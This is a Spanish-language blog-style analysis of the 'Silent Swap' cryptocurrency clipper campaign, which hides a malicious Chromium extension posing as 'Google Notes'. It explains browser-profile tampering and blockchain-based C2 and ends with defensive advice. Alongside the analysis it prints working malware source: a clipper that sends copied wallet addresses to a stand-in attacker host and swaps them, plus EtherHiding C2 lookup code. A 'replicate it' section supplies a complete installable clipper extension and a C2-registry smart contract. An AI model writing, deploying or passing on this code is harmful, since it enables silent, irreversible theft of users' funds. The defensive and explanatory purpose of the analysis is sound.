“Copias una dirección de monedero, la pegas para hacer una transferencia y, sin saberlo, el dinero acaba en manos del atacante. No hay vuelta atrás.”
📖 Índice
- ¿Por qué existe este ataque?
- ¿Qué es Silent Swap?
- La Cadena de Ataque Paso a Paso
- Análisis Técnico Detallado
- El Sistema de Mando y Control Basado en Blockchain
- Cómo Replicarlo en un Entorno Controlado
- Cómo Protegerse
- Conclusión
🎯 ¿Por qué existe este ataque?
El mundo de las criptomonedas mueve billones de dólares. Las transacciones en blockchain son irreversibles: una vez enviado el dinero, no hay banco central que pueda devolverlo. Esta característica, que es la esencia de la descentralización, también la convierte en el paraíso de los ciberdelincuentes.
Los atacantes han ideado métodos cada vez más sofisticados para interceptar estas transferencias. Silent Swap representa la evolución de una técnica clásica: el “clipping” de direcciones del portapapeles.
Lo que hace especial a Silent Swap no es que robe criptomonedas (eso ya lo hacían otros malware), sino cómo lo hace. Combina tres elementos innovadores:
- Abuso de la capa de confianza de Chromium: Instala la extensión sin pasar por la tienda oficial, modificando directamente los archivos de configuración del navegador.
- Infraestructura dinámica en blockchain: No tiene un servidor fijo al que conectarse. Consulta contratos inteligentes públicos para obtener la dirección del servidor de control en tiempo real (EtherHiding).
- Detección inteligente de criptomonedas: No solo reemplaza direcciones de Bitcoin, sino que detecta y sustituye direcciones de BTC, ETH, XRP, BCH, DASH y SOL.
El resultado es un ataque difícil de detectar, difícil de rastrear y, si tienes la mala suerte de ser víctima, económicamente devastador.
🧩 ¿Qué es Silent Swap?
Silent Swap es una campaña activa de malware identificada por McAfee Advanced Threat Research en junio de 2026. Se distribuye a través de instaladores no firmados (en versiones .NET y Golang) que despliegan una extensión maliciosa para navegadores Chromium disfrazada de una utilidad inofensiva llamada “Google Notes”.
El Engaño Visual
La extensión se presenta como una aplicación legítima de notas, con un icono limpio y una interfaz funcional. Si el usuario abre la extensión, puede escribir notas, colorearlas y buscarlas. Todo parece normal.
Pero en segundo plano, la extensión tiene permisos que no debería tener: acceso a todos los sitios web, al portapapeles y al historial de navegación.
El Modus Operandi
Cuando el usuario copia una dirección de monedero de criptomoneda, la extensión:
- Detecta el tipo de activo (BTC, ETH, XRP, etc.).
- Consulta un servidor C2 para obtener una dirección de reemplazo.
- Sustituye silenciosamente la dirección en el portapapeles.
- El usuario pega la dirección falsa y envía el dinero al atacante.
Una transacción en blockchain es irreversible. Para cuando el usuario se da cuenta, el dinero ya no está.
⛓️ La Cadena de Ataque Paso a Paso
Vamos a desglosar cómo funciona Silent Swap en detalle, desde la infección inicial hasta el robo final.
Fase 1: Distribución del Instalador
El ataque comienza con la ejecución de un instalador no firmado. Los vectores de distribución incluyen:
- Correos de phishing con archivos adjuntos maliciosos.
- Cracks de videojuegos y software pirateado.
- Anuncios maliciosos (malvertising) en sitios web.
- Foros y comunidades donde se comparte software “gratuito”.
El instalador puede estar escrito en .NET o Golang. Los investigadores de McAfee identificaron una variante llamada BaseZipInstaller que está diseñada para:
- Descargar un archivo ZIP desde un servidor remoto.
- Escanear el sistema en busca de navegadores basados en Chromium (Chrome, Edge, Brave, Vivaldi).
- Para cada perfil de navegador detectado, forzar el cierre del navegador e inyectar la extensión.
Fase 2: La Infección del Navegador (El Abuso de Confianza)
Aquí está la parte más ingeniosa del ataque. Normalmente, para instalar una extensión en Chrome, necesitas:
- Descargarla de la Chrome Web Store.
- O, si está en modo desarrollador, cargarla manualmente.
Silent Swap hace trampa. Modifica directamente los archivos de configuración del navegador.
Los Archivos de Configuración de Chromium
Chromium guarda la configuración de las extensiones en dos archivos dentro de cada perfil de usuario:
C:\Users\[Usuario]\AppData\Local\Google\Chrome\User Data\Default\
├── Preferences # Configuración general
└── Secure Preferences # Configuración sensible (firmada)
El archivo Secure Preferences contiene, entre otras cosas, la lista de extensiones instaladas y valores de verificación de integridad (hashes HMAC) para detectar cambios no autorizados.
La Manipulación
El instalador malicioso:
- Cierra el navegador para que no haya conflictos.
- Modifica los archivos
PreferencesySecure Preferences, añadiendo la extensión “Google Notes” a la lista de extensiones instaladas. - Recalcula los valores HMAC de verificación y los actualiza en el archivo.
El navegador, al reiniciarse, lee los archivos, verifica las firmas y cree que la extensión se instaló de forma legítima. No hay ventana de confirmación, no hay aviso de seguridad. La extensión se carga en segundo plano sin que el usuario lo sepa.
Limitación en Versiones Recientes
En las versiones más recientes de Chrome y Edge, esta técnica tiene una limitación: el usuario debe tener activado el modo desarrollador para que la extensión se cargue de forma no oficial. Sin embargo:
- Los atacantes pueden usar ingeniería social para convencer a la víctima de que active el modo desarrollador.
- Los usuarios con versiones obsoletas siguen siendo vulnerables sin necesidad de modo desarrollador.
Fase 3: La Extensión “Google Notes”
Una vez instalada, la extensión se presenta como una aplicación de notas funcional. Pero en su código oculto, hace mucho más.
Permisos Solicitados
| Permiso | ¿Qué permite? |
|---|---|
clipboardRead / clipboardWrite | Leer y escribir en el portapapeles para sustituir direcciones |
tabs | Saber si el usuario está en un exchange o wallet |
webRequest | Interceptar peticiones web |
storage | Guardar configuración y direcciones localmente |
https://*/* | Inyectar scripts en cualquier sitio web |
El Código del Clipper (Conceptual)
El corazón de la extensión es un script de fondo (background script) que se ejecuta constantemente. Su lógica simplificada:
// Código simplificado del clipper de Silent Swap
// ⚠️ SOLO PARA FINES EDUCATIVOS ⚠️
const WALLET_PATTERNS = {
'BTC': /^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/,
'ETH': /^0x[a-fA-F0-9]{40}$/,
'XRP': /^r[0-9a-zA-Z]{24,34}$/,
'BCH': /^[qp][0-9a-z]{41}$/,
'DASH': /^X[0-9a-zA-Z]{33}$/,
'SOL': /^[1-9A-HJ-NP-Za-km-z]{32,44}$/
};
function detectCoinType(address) {
for (const [coin, pattern] of Object.entries(WALLET_PATTERNS)) {
if (pattern.test(address)) {
return coin;
}
}
return null;
}
async function getReplacementAddress(coinType, originalAddress) {
const response = await fetch('https://c2-server.com/get_address', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ coin: coinType, original: originalAddress })
});
const data = await response.json();
return data.replacementAddress;
}
let lastClipboard = '';
setInterval(async () => {
try {
const currentClipboard = await navigator.clipboard.readText();
if (currentClipboard === lastClipboard) return;
lastClipboard = currentClipboard;
const coinType = detectCoinType(currentClipboard);
if (!coinType) return;
const replacement = await getReplacementAddress(coinType, currentClipboard);
if (!replacement) return;
await navigator.clipboard.writeText(replacement);
console.log(`[Silent Swap] Reemplazada dirección ${coinType}: ${currentClipboard} -> ${replacement}`);
} catch (error) {
// Silenciar errores para no alertar al usuario
}
}, 500);
Fase 4: El Robo en Tiempo Real
El usuario, sin saberlo, copia la dirección del atacante en lugar de la suya. Al pegar y confirmar la transacción, el dinero viaja al monedero del atacante.
La transacción es irreversible. No hay “cancelar”. No hay “devolver”.
🔗 El Sistema de Mando y Control Basado en Blockchain
Una de las características más innovadoras de Silent Swap es su infraestructura C2 (Command & Control).
El Problema del C2 Tradicional
En el malware tradicional, el C2 tiene una dirección fija (un dominio o IP). Esto permite a los investigadores:
- Bloquear el dominio para que el malware no pueda comunicarse.
- Sinkholear el tráfico para analizarlo.
- Identificar a los atacantes por los registros del dominio.
La Solución de Silent Swap: EtherHiding
Silent Swap utiliza una técnica llamada EtherHiding. En lugar de tener una dirección C2 fija en el código, la extensión:
- Consulta un endpoint RPC de una cadena de bloques pública (Ethereum).
- Invoca un método de un contrato inteligente de solo lectura.
- Decodifica la respuesta para obtener la URL del servidor C2 activo en ese momento.
Extensión → Blockchain RPC → Smart Contract → URL del C2
Ventajas para el Atacante
- El C2 puede cambiar simplemente actualizando un valor en el contrato inteligente.
- No hay un dominio fijo que bloquear o sinkholear.
- La infraestructura es descentralizada y difícil de dar de baja.
- El malware no necesita ser desplegado de nuevo para cambiar de servidor.
Ejemplo Técnico de EtherHiding
// Código simplificado de EtherHiding en Silent Swap
// ⚠️ SOLO PARA FINES EDUCATIVOS ⚠️
const ETH_RPC_ENDPOINT = 'https://mainnet.infura.io/v3/...';
const SMART_CONTRACT_ADDRESS = '0x...';
const CONTRACT_METHOD = 'getC2Server';
async function getC2Server() {
const callData = {
to: SMART_CONTRACT_ADDRESS,
data: encodeMethodCall(CONTRACT_METHOD)
};
const response = await fetch(ETH_RPC_ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_call',
params: [callData, 'latest'],
id: 1
})
});
const result = await response.json();
return decodeString(result.result);
}
🧪 Cómo Replicarlo en un Entorno Controlado
⚠️ ADVERTENCIA LEGAL Y ÉTICA: Esta sección es exclusivamente para fines educativos y de investigación en entornos controlados y aislados. La implementación de este ataque en sistemas que no sean de tu propiedad es ilegal. Este conocimiento debe usarse para protegerse y educar.
Requisitos del Entorno de Prueba
- Máquina virtual aislada (sin conexión a internet real o con red simulada).
- Navegador Chromium en entorno de prueba.
- Conocimientos de JavaScript y Python.
Paso 1: Crear la Extensión Maliciosa (Demostración)
manifest.json:
{
"manifest_version": 3,
"name": "Google Notes (DEMO)",
"version": "1.0.0",
"description": "Demo educativa de Silent Swap",
"permissions": [
"clipboardRead",
"clipboardWrite",
"storage",
"activeTab"
],
"host_permissions": [
"<all_urls>"
],
"background": {
"service_worker": "background.js"
},
"action": {
"default_popup": "popup.html"
}
}
background.js (Versión educativa con logging visible):
// ⚠️ VERSIÓN EDUCATIVA - LOGS VISIBLES ⚠️
const WALLET_PATTERNS = {
'BTC': /^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/,
'ETH': /^0x[a-fA-F0-9]{40}$/,
'TEST': /^TEST_[a-zA-Z0-9]{10,}$/
};
function detectCoinType(address) {
for (const [coin, pattern] of Object.entries(WALLET_PATTERNS)) {
if (pattern.test(address)) {
return coin;
}
}
return null;
}
function getReplacementAddress(coinType, original) {
const replacements = {
'BTC': '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa',
'ETH': '0x742d35Cc6634C0532925a3b844Bc454e4438f44e',
'TEST': 'TEST_REPLACEMENT_ADDRESS_12345'
};
return replacements[coinType] || null;
}
let lastClipboard = '';
setInterval(async () => {
try {
const currentClipboard = await navigator.clipboard.readText();
if (currentClipboard === lastClipboard) return;
lastClipboard = currentClipboard;
const coinType = detectCoinType(currentClipboard);
if (!coinType) {
console.log('[Demo] No es una dirección de criptomoneda');
return;
}
console.log(`[Demo] 🪙 Detectada dirección ${coinType}: ${currentClipboard}`);
const replacement = getReplacementAddress(coinType, currentClipboard);
if (!replacement) return;
await navigator.clipboard.writeText(replacement);
console.log(`[Demo] 🔄 REEMPLAZADA: ${currentClipboard} → ${replacement}`);
} catch (error) {
console.log('[Demo] Error:', error);
}
}, 2000);
Paso 2: Simular la Comunicación C2 con Blockchain
Para una demostración más avanzada, se puede definir un contrato inteligente simple en una testnet de Ethereum:
// SPDX-License-Identifier: MIT
// Contrato inteligente de prueba (EtherHiding DEMO)
pragma solidity ^0.8.0;
contract C2Registry {
string public c2Server;
constructor(string memory _initialC2) {
c2Server = _initialC2;
}
function getC2Server() public view returns (string memory) {
return c2Server;
}
function updateC2Server(string memory _newC2) public {
c2Server = _newC2;
}
}
🛡️ Cómo Protegerse
Para Usuarios Finales
- Revisa tus extensiones regularmente: Ve a
chrome://extensions/y desinstala cualquier extensión que no reconozcas. - Desconfía de instaladores no oficiales: No ejecutes software descargado de fuentes no confiables (cracks, keygens, etc.).
- Verifica las direcciones antes de enviar: Compara siempre el primer y último carácter de la dirección que has pegado con la original.
- Mantén tu navegador actualizado: Las versiones más recientes previenen la carga arbitraria de extensiones no verificadas.
- Revisa los permisos de las extensiones: Si una extensión de notas pide acceso a todos los sitios web y al portapapeles, es una señal clara de alarma.
Para Desarrolladores y Administradores
- Monitoriza las extensiones instaladas: Usa políticas de grupo (GPO) para restringir la instalación de extensiones.
- Audita los archivos de configuración: Revisa periódicamente los archivos
PreferencesySecure Preferencesen busca de extensiones no autorizadas. - Implementa soluciones EDR: Las herramientas de detección de endpoints pueden identificar la manipulación de los archivos de configuración de Chromium.
🎯 Conclusión
Silent Swap es un ejemplo perfecto de cómo los atacantes evolucionan constantemente. No se conforman con técnicas antiguas; innovan:
- Abusan de la confianza del navegador en sus propios archivos de configuración.
- Usan blockchain como infraestructura C2 descentralizada.
- Se disfrazan de aplicaciones legítimas con funcionalidad real.
La lección es clara: la seguridad no es un destino, es un proceso continuo. Mantente informado, mantente actualizado y, sobre todo, verifica cada transacción antes de pulsar el botón de envío.
”El atacante no necesita ser más inteligente que tú. Solo necesita ser más inteligente que tu último momento de descuido.”